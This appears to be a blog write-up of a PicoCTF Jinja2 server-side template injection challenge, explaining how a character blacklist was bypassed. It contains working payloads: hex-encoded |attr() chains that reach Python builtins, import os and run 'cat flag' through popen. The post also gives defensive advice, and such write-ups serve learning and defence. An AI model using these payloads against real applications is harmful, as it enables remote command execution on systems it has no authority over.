Saturday, July 5, 2025

PicoCTF SSTI Challenge Walkthrough – How I Bypassed the Filter

 Introduction

In web security, Server-Side Template Injection (SSTI) vulnerabilities often seem straightforward at first glance. However, when mixed with smart restrictions, they can become a great challenge that tests creativity, obfuscation skills, and a deeper understanding of how template engines like Jinja2 operate. 

This writeup explores the SSTI2 challenge from a recent CTF. This challenge initially appeared to be a standard injection task. It soon turned into a puzzle involving blacklist bypassing, payload encoding, and Python internals. In the end, I successfully ran remote code to access the flag without using a single dot, underscore, or quote. 

 

Initial Discovery




The challenge featured a typical input field. My first thought was to check for basic template injection. I entered: 

``` 

{{7*7}} 

``` 

The application returned: 

``` 

49 

``` 

This confirmed a classic Jinja2 SSTI vulnerability. The server evaluated and rendered my input as Python code within a Jinja2 template. My goal was now clear: escalate this to read the flag, likely stored in a file like flag or /flag.txt. 

 

But then, I faced an unexpected issue. Every traditional SSTI payload failed. 

 

The Unexpected Roadblock: Character Blacklisting  

I tried several common payloads: 

``` 

{{ ''.__class__.__mro__[1].__subclasses__() }} 

{{ config }} 

{{ request.__class__.__mro__ }} 

``` 

None of these worked. Some returned errors while others were rejected by the server. This pattern suggested character-level filtering, particularly targeting: 

- __ (double underscores) 

- . (dot access) 

- [] (list indexing) 

- ' and " (quotes) 

- () (function calls) 

 

The challenge provided a hint with a clever clue: 

“Why is blacklisting characters a bad idea to sanitize input?” 

 

I realized this challenge was not just about exploiting SSTI; it was about overcoming poor sanitization logic. The way forward was through creative obfuscation. 



The Core Strategy: Obfuscation and Attribute Chains

Most template engines, especially Jinja2, provide flexible methods to access object attributes. Even with filters on special characters, Python's dynamic attribute system allows for alternative paths. 

 

Step 1: Use attr() Instead of Dot Notation

In Jinja2, this: 

``` 

{{ request.application }} 

``` 

Can also be written as: 

``` 

{{ request|attr('application') }} 

``` 

If quotes are blocked, we can encode the string: 

``` 

{{ request|attr("\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e") }} 

``` 

This gets us the application object using hex-encoded characters to bypass filters. 

 

Step 2: Access __globals__ to Break Out of the Template

To access global Python objects, we normally use: 

``` 

{{ request.application.__globals__ }} 

``` 

With character restrictions, we now used: 

``` 

{{ request 

   |attr('\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e')

   |attr('\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f') }} 

``` 

This safely retrieves the global namespace, even without directly using __ or . 

 

Step 3: Use __builtins__ and __import__ to Access os

Now, with access to the global scope, I retrieved Python built-ins like this: 

``` 

|attr('\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f')('\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f') 

``` 

From there, I accessed Python's dynamic import function: 

``` 

|attr('\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f')('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f')('os') 

``` 

This gave me complete access to the os module—meaning I could run system-level commands like ls, cat, or whoami. 

 

The Final Payload: Read the Flag

Here’s the complete, working payload I crafted: 

``` 

{{

  request

  |attr('\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e')

  |attr('\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f')

  |attr('\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f')('\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f')

  |attr('\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f')('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f')('os')

  |attr('popen')('cat flag')

  |attr('read')()

}} 

``` 

This chain: 

- Accesses the Flask application's global variables 

- Grabs Python's built-in functions 

- Dynamically imports the os module 

- Executes cat flag via os.popen() 

- Reads and prints the flag using read() 

 

The Flag


Victory!!!!


Key Takeaways


Blacklisting individual characters is an insecure and unreliable way to sanitize input.

Python and Jinja2 both possess intense introspection and dynamic nature, which means that the most robust expressions can be reconstructed even with stringent constraints.

Obfuscation mechanisms such as hex-encoding, attribute chains, and usage of attr() are crucial to bypass weak sanitization logic.

For defensive developers, always use whitelisting, context-sensitive encoding, and sandboxed template environments (like SandboxedEnvironment in Jinja2) to avoid such attacks.


Final Thoughts

This SSTI2 vulnerability was a nice reminder that even a small security mistake, like character blacklisting, can produce big issues when exploited by someone who has language and engine internals knowledge.

It was not just about achieving RCE; it was about outsmarting the defenses. That’s what makes CTFs so exciting. 

 

Until next time, 

Happy Hacking!

No comments:

Post a Comment

HashCrack Challenge Writeup

  HashCrack Challenge Writeup Challenge Overview Challenge Name: hashcrack Difficulty: Beginner/Intermediate Category: Cryptography ...